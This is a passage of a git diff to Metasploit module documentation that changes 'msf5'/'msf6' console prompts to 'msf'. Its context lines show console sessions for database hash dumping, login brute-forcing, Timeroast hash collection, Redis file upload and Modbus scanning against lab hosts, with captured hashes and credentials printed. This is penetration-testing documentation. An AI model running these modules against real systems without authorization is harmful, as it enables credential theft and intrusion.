PASSWORD=yourStrong(!)Password +msf auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password [*] 127.0.0.1:1433 - Instance Name: "758549b9f69e" [+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E @@ -67,7 +67,7 @@ msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 U Directly querying a machine: ``` -msf6 auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password +msf auxiliary(scanner/mssql/mssql_hashdump) > run RPORT=1433 RHOSTS=127.0.0.1 USERNAME=sa PASSWORD=yourStrong(!)Password [*] 127.0.0.1:1433 - Instance Name: "758549b9f69e" [+] 127.0.0.1:1433 - Saving mssql12 = sa:0x0200F433830BDBA809805FE53E59E7A1AACF9AC21241881F76B9B95EDC713FD01C8E692705409A5C0F8A46DDB1707A283BA9307D6B3C664BB9F7652758B70262C88F629DBC7E diff --git a/documentation/modules/auxiliary/scanner/mssql/mssql_login.md b/documentation/modules/auxiliary/scanner/mssql/mssql_login.md index 1d18899bd3add..7e5411d7a0d24 100644 --- a/documentation/modules/auxiliary/scanner/mssql/mssql_login.md +++ b/documentation/modules/auxiliary/scanner/mssql/mssql_login.md @@ -21,7 +21,7 @@ When using the `scanner/mssql/mssql_login` module, the CreateSession option can session within the MSSQL instance. Running the following commands with all other options set: ```msf -msf6 auxiliary(scanner/mssql/mssql_login) > run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password +msf auxiliary(scanner/mssql/mssql_login) > run CreateSession=true RPORT=1433 RHOSTS=192.168.2.242 USERNAME=user PASSWORD=password ``` Should give you output containing: @@ -38,7 +38,7 @@ Should give you output containing: Which you can interact with using `sessions -i ` or `sessions -i -1` to interact with the most recently opened session. ```msf -msf6 auxiliary(scanner/mssql/mssql_login) > sessions +msf auxiliary(scanner/mssql/mssql_login) > sessions Active sessions =============== @@ -47,7 +47,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:60963 -> 192.168.2.242:1433 (192.168.2.242) -msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i 1 +msf auxiliary(scanner/mssql/mssql_login) > sessions -i 1 [*] Starting interaction with 1... mssql @ 192.168.2.242:1433 (master) > query 'select @@version;' @@ -124,7 +124,7 @@ This session also works with the following modules: To interact directly with the session as if in a SQL prompt, you can use the `query` command. ```msf -msf6 auxiliary(scanner/mssql/mssql_login) > sessions -i -1 +msf auxiliary(scanner/mssql/mssql_login) > sessions -i -1 [*] Starting interaction with 2... mssql @ 192.168.2.242:1433 (master) > query -h @@ -195,11 +195,11 @@ File containing passwords, one per line ```msf msf > use scanner/mssql/mssql_login -msf6 auxiliary(scanner/mssql/mssql_login) > set rhosts 127.0.0.1 +msf auxiliary(scanner/mssql/mssql_login) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/mssql/mssql_login) > set password N0tpassword! +msf auxiliary(scanner/mssql/mssql_login) > set password N0tpassword! password => N0tpassword! -msf6 auxiliary(scanner/mssql/mssql_login) > options +msf auxiliary(scanner/mssql/mssql_login) > options Module options (auxiliary/scanner/mssql/mssql_login): @@ -229,12 +229,12 @@ Module options (auxiliary/scanner/mssql/mssql_login): View the full module info with the info, or info -d command. -msf6 auxiliary(scanner/mssql/mssql_login) > run +msf auxiliary(scanner/mssql/mssql_login) > run [*] 127.0.0.1:1433 - 127.0.0.1:1433 - MSSQL - Starting authentication scanner. [!] 127.0.0.1:1433 - No active DB -- Credential data will not be saved! [+] 127.0.0.1:1433 - 127.0.0.1:1433 - Login Successful: WORKSTATION\sa:N0tpassword! [*] 127.0.0.1:1433 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/mssql/mssql_login) > +msf auxiliary(scanner/mssql/mssql_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.md b/documentation/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.md index 95dc00e159c23..1e9212f5e8027 100644 --- a/documentation/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.md +++ b/documentation/modules/auxiliary/scanner/mysql/mysql_authbypass_hashdump.md @@ -32,7 +32,7 @@ docker run -it --rm -p 3306:3306 vulhub/mysql:5.5.23 ## Scenarios ```msf -msf6 auxiliary(scanner/mysql/mysql_authbypass_hashdump) > rerun rhost=127.0.0.1 +msf auxiliary(scanner/mysql/mysql_authbypass_hashdump) > rerun rhost=127.0.0.1 [*] Reloading module... [+] 127.0.0.1:3306 - 127.0.0.1:3306 The server allows logins, proceeding with bypass test diff --git a/documentation/modules/auxiliary/scanner/mysql/mysql_login.md b/documentation/modules/auxiliary/scanner/mysql/mysql_login.md index d99a4df1376f9..6dc5d33223fce 100644 --- a/documentation/modules/auxiliary/scanner/mysql/mysql_login.md +++ b/documentation/modules/auxiliary/scanner/mysql/mysql_login.md @@ -76,7 +76,7 @@ run rhost=127.0.0.1 rport=4306 username=root password=password createsession=tru [*] MySQL session 1 opened (127.0.0.1:53241 -> 127.0.0.1:4306) at 2024-03-12 12:40:46 -0500 [*] 127.0.0.1:4306 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i -1 +msf auxiliary(scanner/mysql/mysql_login) > sessions -i -1 [*] Starting interaction with 1... mysql @ 127.0.0.1:4306 > @@ -86,7 +86,7 @@ You can interact with your new session using `sessions -i -1` or `sessions -i sessions +msf auxiliary(scanner/mysql/mysql_login) > sessions Active sessions =============== @@ -96,7 +96,7 @@ Active sessions 2 mssql MSSQL test @ 192.168.2.242:1433 192.168.2.1:61428 -> 192.168.2.242:1433 (192.168.2.242) 3 mysql MySQL root @ 127.0.0.1:4306 127.0.0.1:61450 -> 127.0.0.1:4306 (127.0.0.1) -msf6 auxiliary(scanner/mysql/mysql_login) > sessions -i 3 +msf auxiliary(scanner/mysql/mysql_login) > sessions -i 3 [*] Starting interaction with 3... ``` diff --git a/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md b/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md index e9190539a782c..163808e90b318 100644 --- a/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md +++ b/documentation/modules/auxiliary/scanner/nessus/nessus_rest_login.md @@ -77,16 +77,16 @@ HTTP server virtual host ``` msf > use scanner/nessus/nessus_rest_login -msf6 auxiliary(scanner/nessus/nessus_rest_login) > set rhosts 127.0.0.1 +msf auxiliary(scanner/nessus/nessus_rest_login) > set rhosts 127.0.0.1 rhosts => 127.0.0.1 -msf6 auxiliary(scanner/nessus/nessus_rest_login) > set password N0tpassword! +msf auxiliary(scanner/nessus/nessus_rest_login) > set password N0tpassword! password => N0tpassword! -msf6 auxiliary(scanner/nessus/nessus_rest_login) > set username notuser +msf auxiliary(scanner/nessus/nessus_rest_login) > set username notuser username => notuser -msf6 auxiliary(scanner/nessus/nessus_rest_login) > run +msf auxiliary(scanner/nessus/nessus_rest_login) > run [*] Attempting to login to /stop using password list [+] 127.0.0.1:8834 - Success: 'notuser:N0tpassword'! [*] Auxiliary module execution completed -msf6 auxiliary(scanner/nessus/nessus_rest_login) > +msf auxiliary(scanner/nessus/nessus_rest_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/ntp/timeroast.md b/documentation/modules/auxiliary/scanner/ntp/timeroast.md index e36067740cf88..8f13fd875e1ce 100644 --- a/documentation/modules/auxiliary/scanner/ntp/timeroast.md +++ b/documentation/modules/auxiliary/scanner/ntp/timeroast.md @@ -26,11 +26,11 @@ The RIDs to enumerate (e.g. 1000-2000). Multiple values and ranges can be specif ### Windows 2019 x64 Domain Controller ``` -msf6 auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205 +msf auxiliary(scanner/ntp/timeroast) > set RIDS 4200-4205 RIDS => 4200-4205 -msf6 auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10 +msf auxiliary(scanner/ntp/timeroast) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(scanner/ntp/timeroast) > run +msf auxiliary(scanner/ntp/timeroast) > run [*] Checking RID: 4200 [*] Checking RID: 4201 [+] Hash for RID: 4201 - 4201:$sntp-ms$74e3c4ac73afe868119ff98613888d48$1c0100e900000000000a2c704c4f434ceb0aaf8ac9813bd40000000000000000eb0aea216d99a558eb0aea216d99e010 @@ -43,5 +43,5 @@ msf6 auxiliary(scanner/ntp/timeroast) > run [*] Waiting on 3 pending responses... [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/ntp/timeroast) > +msf auxiliary(scanner/ntp/timeroast) > ``` diff --git a/documentation/modules/auxiliary/scanner/oracle/oracle_hashdump.md b/documentation/modules/auxiliary/scanner/oracle/oracle_hashdump.md index 41cce12d90405..30f23bb3d5053 100644 --- a/documentation/modules/auxiliary/scanner/oracle/oracle_hashdump.md +++ b/documentation/modules/auxiliary/scanner/oracle/oracle_hashdump.md @@ -53,10 +53,10 @@ ## Scenarios -### Running Oracle 12c on a local Windows 10 machine, and MSF5 on Ubuntu for Windows (same machine) +### Running Oracle 12c on a local Windows 10 machine, and msf on Ubuntu for Windows (same machine) ``` -msf5 auxiliary(scanner/oracle/oracle_hashdump) > show options +msf auxiliary(scanner/oracle/oracle_hashdump) > show options Module options (auxiliary/scanner/oracle/oracle_hashdump): Name Current Setting Required Description @@ -69,7 +69,7 @@ Module options (auxiliary/scanner/oracle/oracle_hashdump): SID staticdb yes The sid to authenticate with. THREADS 1 yes The number of concurrent threads -msf5 auxiliary(scanner/oracle/oracle_hashdump) > run +msf auxiliary(scanner/oracle/oracle_hashdump) > run [*] Server is running 12c [*] Hash table : @@ -85,7 +85,7 @@ msf5 auxiliary(scanner/oracle/oracle_hashdump) > run [+] Hash Table has been saved [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf5 auxiliary(scanner/oracle/oracle_hashdump) > creds +msf auxiliary(scanner/oracle/oracle_hashdump) > creds Credentials =========== @@ -98,8 +98,8 @@ host origin service public private These hashes are then saved as credentials so that `jtr_oracle_fast` can crack them (using [John The Ripper "bleeding_jumbo"](https://github.com/magnumripper/JohnTheRipper)). ``` -msf5 auxiliary(scanner/oracle/oracle_hashdump) > use auxiliary/analyze/jtr_oracle_fast -msf5 auxiliary(analyze/jtr_oracle_fast) > run +msf auxiliary(scanner/oracle/oracle_hashdump) > use auxiliary/analyze/jtr_oracle_fast +msf auxiliary(analyze/jtr_oracle_fast) > run ... [*] Cracking oracle12c hashes in normal wordlist mode... Using default input encoding: UTF-8 @@ -139,9 +139,9 @@ resource (oracle.rb)> set dbpass oracle dbpass => oracle resource (oracle.rb)> set sid XE sid => XE -msf5 auxiliary(scanner/oracle/oracle_hashdump) > set verbose true +msf auxiliary(scanner/oracle/oracle_hashdump) > set verbose true verbose => true -msf5 auxiliary(scanner/oracle/oracle_hashdump) > run +msf auxiliary(scanner/oracle/oracle_hashdump) > run [*] Server is running version 11g [*] Hash table : diff --git a/documentation/modules/auxiliary/scanner/pop3/pop3_version.md b/documentation/modules/auxiliary/scanner/pop3/pop3_version.md index 1283ff5e9cb63..5470f4fb11758 100644 --- a/documentation/modules/auxiliary/scanner/pop3/pop3_version.md +++ b/documentation/modules/auxiliary/scanner/pop3/pop3_version.md @@ -24,9 +24,9 @@ in a production environment. ### Dovecot 2.3.2 (582970113) on Kali ``` - msf5 auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version - msf5 auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216 - msf5 auxiliary(scanner/pop3/pop3_version) > run + msf auxiliary(scanner/pop3/pop3_version) > use auxiliary/scanner/pop3/pop3_version + msf auxiliary(scanner/pop3/pop3_version) > set rhosts 10.168.202.216 + msf auxiliary(scanner/pop3/pop3_version) > run [+] 10.168.202.216:110 - 10.168.202.216:110 POP3 +OK Dovecot (Debian) ready.\x0d\x0a [*] 10.168.202.216:110 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/postgres/postgres_login.md b/documentation/modules/auxiliary/scanner/postgres/postgres_login.md index 23bbf5080f68e..3b4e4c37702bf 100644 --- a/documentation/modules/auxiliary/scanner/postgres/postgres_login.md +++ b/documentation/modules/auxiliary/scanner/postgres/postgres_login.md @@ -23,7 +23,7 @@ set to true should give you an interactive session. For example: ```msf -msf6 auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true +msf auxiliary(scanner/postgres/postgres_login) > run rhost=127.0.0.1 rport=5432 username=postgres password=password database=template1 createsession=true ``` Should yield: @@ -39,7 +39,7 @@ You can interact with your session using `sessions -i -1` or `sessions sessions +msf auxiliary(scanner/postgres/postgres_login) > sessions Active sessions =============== @@ -48,7 +48,7 @@ Active sessions -- ---- ---- ----------- ---------- 1 postgresql PostgreSQL postgres @ 127.0.0.1:5432 127.0.0.1:61324 -> 127.0.0.1:5432 (127.0.0.1) -msf6 auxiliary(scanner/postgres/postgres_login) > sessions -i 1 +msf auxiliary(scanner/postgres/postgres_login) > sessions -i 1 [*] Starting interaction with 1... ``` diff --git a/documentation/modules/auxiliary/scanner/redis/file_upload.md b/documentation/modules/auxiliary/scanner/redis/file_upload.md index 1107eee9ad548..628c533c7b95e 100644 --- a/documentation/modules/auxiliary/scanner/redis/file_upload.md +++ b/documentation/modules/auxiliary/scanner/redis/file_upload.md @@ -42,13 +42,13 @@ Path, or file name, to store the file as on the Redis server. ### Redis: 4.0.14 inside a docker container ``` -msf5 auxiliary(scanner/redis/file_upload) > set RHOSTS 172.17.0.2 +msf auxiliary(scanner/redis/file_upload) > set RHOSTS 172.17.0.2 RHOSTS => 172.17.0.2 -msf5 auxiliary(scanner/redis/file_upload) > set LocalFile redis_upload_test.txt +msf auxiliary(scanner/redis/file_upload) > set LocalFile redis_upload_test.txt LocalFile => redis_upload_test.txt -msf5 auxiliary(scanner/redis/file_upload) > set RemoteFile redis_upload_test.txt +msf auxiliary(scanner/redis/file_upload) > set RemoteFile redis_upload_test.txt RemoteFile => redis_upload_test.txt -msf5 auxiliary(scanner/redis/file_upload) > run +msf auxiliary(scanner/redis/file_upload) > run [+] 172.17.0.2:6379 - 172.17.0.2:6379 -- saved 23 bytes inside of redis DB at redis_upload_test.txt [*] 172.17.0.2:6379 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/redis/redis_login.md b/documentation/modules/auxiliary/scanner/redis/redis_login.md index 3ac659b90d627..1626b89321332 100644 --- a/documentation/modules/auxiliary/scanner/redis/redis_login.md +++ b/documentation/modules/auxiliary/scanner/redis/redis_login.md @@ -62,12 +62,12 @@ The file containing a list of passwords to try logging in with. ### Redis Version 6.0.10 ``` -msf6 > use scanner/redis/redis_login -msf6 auxiliary(scanner/redis/redis_login) > set RHOSTS 192.168.1.7 +msf > use scanner/redis/redis_login +msf auxiliary(scanner/redis/redis_login) > set RHOSTS 192.168.1.7 RHOSTS => 192.168.1.7 -msf6 auxiliary(scanner/redis/redis_login) > set PASS_FILE /home/kali/Downloads/passwords.txt +msf auxiliary(scanner/redis/redis_login) > set PASS_FILE /home/kali/Downloads/passwords.txt PASS_FILE => /home/kali/Downloads/pass.txt -msf6 auxiliary(scanner/redis/redis_login) > run +msf auxiliary(scanner/redis/redis_login) > run [!] 192.168.1.7:6379 - No active DB -- Credential data will not be saved! [-] 192.168.1.7:6379 - 192.168.1.7:6379 - LOGIN FAILED: redis:foobared (Incorrect: -WRONGPASS invalid username-password pair) diff --git a/documentation/modules/auxiliary/scanner/redis/redis_server.md b/documentation/modules/auxiliary/scanner/redis/redis_server.md index 49137c87bfee0..d1548fd6f0346 100644 --- a/documentation/modules/auxiliary/scanner/redis/redis_server.md +++ b/documentation/modules/auxiliary/scanner/redis/redis_server.md @@ -30,10 +30,10 @@ Redis commands list can be found [here](https://redis.io/commands). ### Redis: 4.0.14 inside a docker container ``` -msf5 auxiliary(scanner/redis/redis_server) > use auxiliary/scanner/redis/redis_server -msf5 auxiliary(scanner/redis/redis_server) > set RHOSTS 172.17.0.3 +msf auxiliary(scanner/redis/redis_server) > use auxiliary/scanner/redis/redis_server +msf auxiliary(scanner/redis/redis_server) > set RHOSTS 172.17.0.3 RHOSTS => 172.17.0.3 -msf5 auxiliary(scanner/redis/redis_server) > run +msf auxiliary(scanner/redis/redis_server) > run [+] 172.17.0.3:6379 - Found redis with INFO command: $2701\x0d\x0a# Server\x0d\x0aredis_version:4.0.14\x0d\x0aredis_git_sha1:00000000\x0d\x0aredis_git_dirty:0\x0d\x0aredis_build_id:30850c2ae048947f\x0d\x0aredis_mode:standalone\x0d\x0aos:Linux 4.19.69-1-MANJARO x86_64\x0d\x0aarch_bits:64\x0d\x0amultiplexing_api:epoll\x0d\x0aatomicvar_api:atomic-builtin\x0d\x0agcc_version:8.3.0\x0d\x0aprocess_id:1\x0d\x0arun_id:de1d3d4547ce93ecad76de2efdbcf7ae2d456613\x0d\x0atcp_port:6379\x0d\x0auptime_in_seconds:564\x0d\x0auptime_in_days:0\x0d\x0ahz:10\x0d\x0alru_clock:10154159\x0d\x0aexecutable:/data/redis-server\x0d\x0aconfig_file:\x0d\x0a\x0d\x0a# Clients\x0d\x0aconnected_clients:1\x0d\x0aclient_longest_output_list:0\x0d\x0aclient_biggest_input_buf:0\x0d\x0ablocked_clients:0\x0d\x0a\x0d\x0a# Memory\x0d\x0aused_memory:849224\x0d\x0aused_memory_human:829.32K\x0d\x0aused_memory_rss:4464640\x0d\x0aused_memory_rss_human:4.26M\x0d\x0aused_memory_peak:849224\x0d\x0aused_memory_peak_human:829.32K\x0d\x0aused_memory_peak_perc:100.00%\x0d\x0aused_memory_overhead:836126\x0d\x0aused_memory_startup:786488\x0d\x0aused_memory_dataset:13098\x0d\x0aused_memory_dataset_perc:20.88%\x0d\x0atotal_system_memory:12010311680\x0d\x0atotal_system_memory_human:11.19G\x0d\x0aused_memory_lua:37888\x0d\x0aused_memory_lua_human:37.00K\x0d\x0amaxmemory:0\x0d\x0amaxmemory_human:0B\x0d\x0amaxmemory_policy:noeviction\x0d\x0amem_fragmentation_ratio:5.26\x0d\x0amem_allocator:jemalloc-4.0.3\x0d\x0aactive_defrag_running:0\x0d\x0alazyfree_pending_objects:0\x0d\x0a\x0d\x0a# Persistence\x0d\x0aloading:0\x0d\x0ardb_changes_since_last_save:0\x0d\x0ardb_bgsave_in_progress:0\x0d\x0ardb_last_save_time:1570434683\x0d\x0ardb_last_bgsave_status:ok\x0d\x0ardb_last_bgsave_time_sec:-1\x0d\x0ardb_current_bgsave_time_sec:-1\x0d\x0ardb_last_cow_size:0\x0d\x0aaof_enabled:0\x0d\x0aaof_rewrite_in_progress:0\x0d\x0aaof_rewrite_scheduled:0\x0d\x0aaof_last_rewrite_time_sec:-1\x0d\x0aaof_current_rewrite_time_sec:-1\x0d\x0aaof_last_bgrewrite_status:ok\x0d\x0aaof_last_write_status:ok\x0d\x0aaof_last_cow_size:0\x0d\x0a\x0d\x0a# Stats\x0d\x0atotal_connections_received:5\x0d\x0atotal_commands_processed:3\x0d\x0ainstantaneous_ops_per_sec:0\x0d\x0atotal_net_input_bytes:79\x0d\x0atotal_net_output_bytes:8191\x0d\x0ainstantaneous_input_kbps:0.00\x0d\x0ainstantaneous_output_kbps:0.00\x0d\x0arejected_connections:0\x0d\x0async_full:0\x0d\x0async_partial_ok:0\x0d\x0async_partial_err:0\x0d\x0aexpired_keys:0\x0d\x0aexpired_stale_perc:0.00\x0d\x0aexpired_time_cap_reached_count:0\x0d\x0aevicted_keys:0\x0d\x0akeyspace_hits:0\x0d\x0akeyspace_misses:0\x0d\x0apubsub_channels:0\x0d\x0apubsub_patterns:0\x0d\x0alatest_fork_usec:0\x0d\x0amigrate_cached_sockets:0\x0d\x0aslave_expires_tracked_keys:0\x0d\x0aactive_defrag_hits:0\x0d\x0aactive_defrag_misses:0\x0d\x0aactive_defrag_key_hits:0\x0d\x0aactive_defrag_key_misses:0\x0d\x0a\x0d\x0a# Replication\x0d\x0arole:master\x0d\x0aconnected_slaves:0\x0d\x0amaster_replid:0d4b69672220406a209cf68d63e22215f5bc8741\x0d\x0amaster_replid2:0000000000000000000000000000000000000000\x0d\x0amaster_repl_offset:0\x0d\x0asecond_repl_offset:-1\x0d\x0arepl_backlog_active:0\x0d\x0arepl_backlog_size:1048576\x0d\x0arepl_backlog_first_byte_offset:0\x0d\x0arepl_backlog_histlen:0\x0d\x0a\x0d\x0a# CPU\x0d\x0aused_cpu_sys:0.66\x0d\x0aused_cpu_user:0.45\x0d\x0aused_cpu_sys_children:0.00\x0d\x0aused_cpu_user_children:0.00\x0d\x0a\x0d\x0a# Cluster\x0d\x0acluster_enabled:0\x0d\x0a\x0d\x0a# Keyspace [*] 172.17.0.3:6379 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/rsync/modules_list.md b/documentation/modules/auxiliary/scanner/rsync/modules_list.md index 6ab23df9451f6..2d2d322251a3f 100644 --- a/documentation/modules/auxiliary/scanner/rsync/modules_list.md +++ b/documentation/modules/auxiliary/scanner/rsync/modules_list.md @@ -67,10 +67,10 @@ rsync3:VU&A1We5DEa8M6^8" > /etc/rsyncd.secrets``` With verbose set to `false`: ``` - msf5 > use auxiliary/scanner/rsync/modules_list - msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216 + msf > use auxiliary/scanner/rsync/modules_list + msf auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216 rhosts => 10.168.202.216 - msf5 auxiliary(scanner/rsync/modules_list) > run + msf auxiliary(scanner/rsync/modules_list) > run [+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated ``` @@ -78,12 +78,12 @@ With verbose set to `false`: With verbose set to `true`: ``` - msf5 > use auxiliary/scanner/rsync/modules_list - msf5 auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216 + msf > use auxiliary/scanner/rsync/modules_list + msf auxiliary(scanner/rsync/modules_list) > set rhosts 10.168.202.216 rhosts => 10.168.202.216 - msf5 auxiliary(scanner/rsync/modules_list) > set verbose true + msf auxiliary(scanner/rsync/modules_list) > set verbose true verbose => true - msf5 auxiliary(scanner/rsync/modules_list) > run + msf auxiliary(scanner/rsync/modules_list) > run [+] 10.168.202.216:873 - 3 rsync modules found: read only files, writable, authenticated diff --git a/documentation/modules/auxiliary/scanner/sage/x3_adxsrv_login.md b/documentation/modules/auxiliary/scanner/sage/x3_adxsrv_login.md index fe9a3712921b1..8b81dea0acfe8 100644 --- a/documentation/modules/auxiliary/scanner/sage/x3_adxsrv_login.md +++ b/documentation/modules/auxiliary/scanner/sage/x3_adxsrv_login.md @@ -22,8 +22,8 @@ Follow [Setup](#setup) and [Scenarios](#scenarios). ### Sage X3 on Windows Server 2016 ``` -msf6 > use auxiliary/scanner/sage/x3_adxsrv_login -msf6 auxiliary(scanner/sage/x3_adxsrv_login) > options +msf > use auxiliary/scanner/sage/x3_adxsrv_login +msf auxiliary(scanner/sage/x3_adxsrv_login) > options Module options (auxiliary/scanner/sage/x3_adxsrv_login): @@ -45,14 +45,14 @@ Module options (auxiliary/scanner/sage/x3_adxsrv_login): USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts -msf6 auxiliary(scanner/sage/x3_adxsrv_login) > set rhosts 172.16.57.6 +msf auxiliary(scanner/sage/x3_adxsrv_login) > set rhosts 172.16.57.6 rhosts => 172.16.57.6 -msf6 auxiliary(scanner/sage/x3_adxsrv_login) > set rport 50000 +msf auxiliary(scanner/sage/x3_adxsrv_login) > set rport 50000 rport => 50000 -msf6 auxiliary(scanner/sage/x3_adxsrv_login) > run +msf auxiliary(scanner/sage/x3_adxsrv_login) > run [+] 172.16.57.6:50000 - 172.16.57.6:50000 - Success: 'x3admin:s@ge2020' [*] 172.16.57.6:50000 - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/sage/x3_adxsrv_login) > +msf auxiliary(scanner/sage/x3_adxsrv_login) > ``` diff --git a/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md b/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md index 899cfb4000673..e94664a45a522 100644 --- a/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md +++ b/documentation/modules/auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles.md @@ -37,8 +37,8 @@ With this module you can list the config files that SAP loads when starts the SA ``` -msf5 > use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles -msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > show options +msf > use auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles +msf auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > show options Module options (auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles): @@ -52,9 +52,9 @@ Module options (auxiliary/scanner/sap/sap_mgmt_con_listconfigfiles): URI / no Path to the SAP Management Console VHOST no HTTP server virtual host - msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > set RHOSTS 192.168.10.45 + msf auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > set RHOSTS 192.168.10.45 RHOSTS => 192.168.10.45 - msf5 auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > run + msf auxiliary(scanner/sap/sap_mgmt_con_listconfigfiles) > run [...] ``` diff --git a/documentation/modules/auxiliary/scanner/scada/modbus_banner_grabbing.md b/documentation/modules/auxiliary/scanner/scada/modbus_banner_grabbing.md index 228310df023d0..c555c1ce5f55a 100644 --- a/documentation/modules/auxiliary/scanner/scada/modbus_banner_grabbing.md +++ b/documentation/modules/auxiliary/scanner/scada/modbus_banner_grabbing.md @@ -21,7 +21,7 @@ If the target was unable to process the Modbus message, a Modbus exception messa Successful results from the scan will be stored as a `note` in the framework. You can access these notes by typing `note` in the console. ``` -msf5 auxiliary(scanner/scada/modbus_banner_grabbing) > notes +msf auxiliary(scanner/scada/modbus_banner_grabbing) > notes Notes ===== @@ -42,10 +42,10 @@ The following scenarios describe some of the responses you may receive from the ### Schneider Electric BMX NOE 0100 - Successful Response ``` -msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.1 +msf > use auxiliary/scanner/scada/modbus_banner_grabbing +msf auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.1 RHOSTS => 192.168.1.1 -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run +msf auxiliary(scanner/scada/modbus_banner_grabbing) > run [*] 192.168.1.1:502 - Number of Objects: 3 [+] 192.168.1.1:502 - VendorName: Schneider Electric @@ -59,10 +59,10 @@ msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run The target never replied to the attacker's request. ``` -msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.2 +msf > use auxiliary/scanner/scada/modbus_banner_grabbing +msf auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.2 RHOSTS => 192.168.1.2 -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run +msf auxiliary(scanner/scada/modbus_banner_grabbing) > run [-] 192.168.1.2:502 - MODBUS - No reply [*] 192.168.1.2:502 - Scanned 1 of 1 hosts (100% complete) @@ -74,10 +74,10 @@ Some network error occurred, such as a connection error, a network timeout, or t Alternatively, the host may be unreachable. ``` -msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.3 +msf > use auxiliary/scanner/scada/modbus_banner_grabbing +msf auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.3 RHOSTS => 192.168.1.3 -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run +msf auxiliary(scanner/scada/modbus_banner_grabbing) > run [-] 192.168.1.3:502 - MODBUS - Network error during payload: The connection timed out (217.71.253.52:502). [*] 192.168.1.3:502 - Scanned 1 of 1 hosts (100% complete) @@ -87,10 +87,10 @@ msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run ### Schneider Electric BMX NOE 0100 - Modbus Exception Code (i.e. Memory Parity Error) ``` -msf6 > use auxiliary/scanner/scada/modbus_banner_grabbing -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.4 +msf > use auxiliary/scanner/scada/modbus_banner_grabbing +msf auxiliary(scanner/scada/modbus_banner_grabbing) > set RHOSTS 192.168.1.4 RHOSTS => 192.168.1.4 -msf6 auxiliary(scanner/scada/modbus_banner_grabbing) > run +msf auxiliary(scanner/scada/modbus_banner_grabbing) > run [-] 192.168.1.4:502 - Memory Parity Error: Slave detected a parity error in memory. [*] 192.168.1.4:502 - Scanned 1 of 1 hosts (100% complete) diff --git a/documentation/modules/auxiliary/scanner/sip/options_tcp.md b/documentation/modules/auxiliary/scanner/sip/options_tcp.md index 4b846871c9fd6..d0f2632815ad8 100644 --- 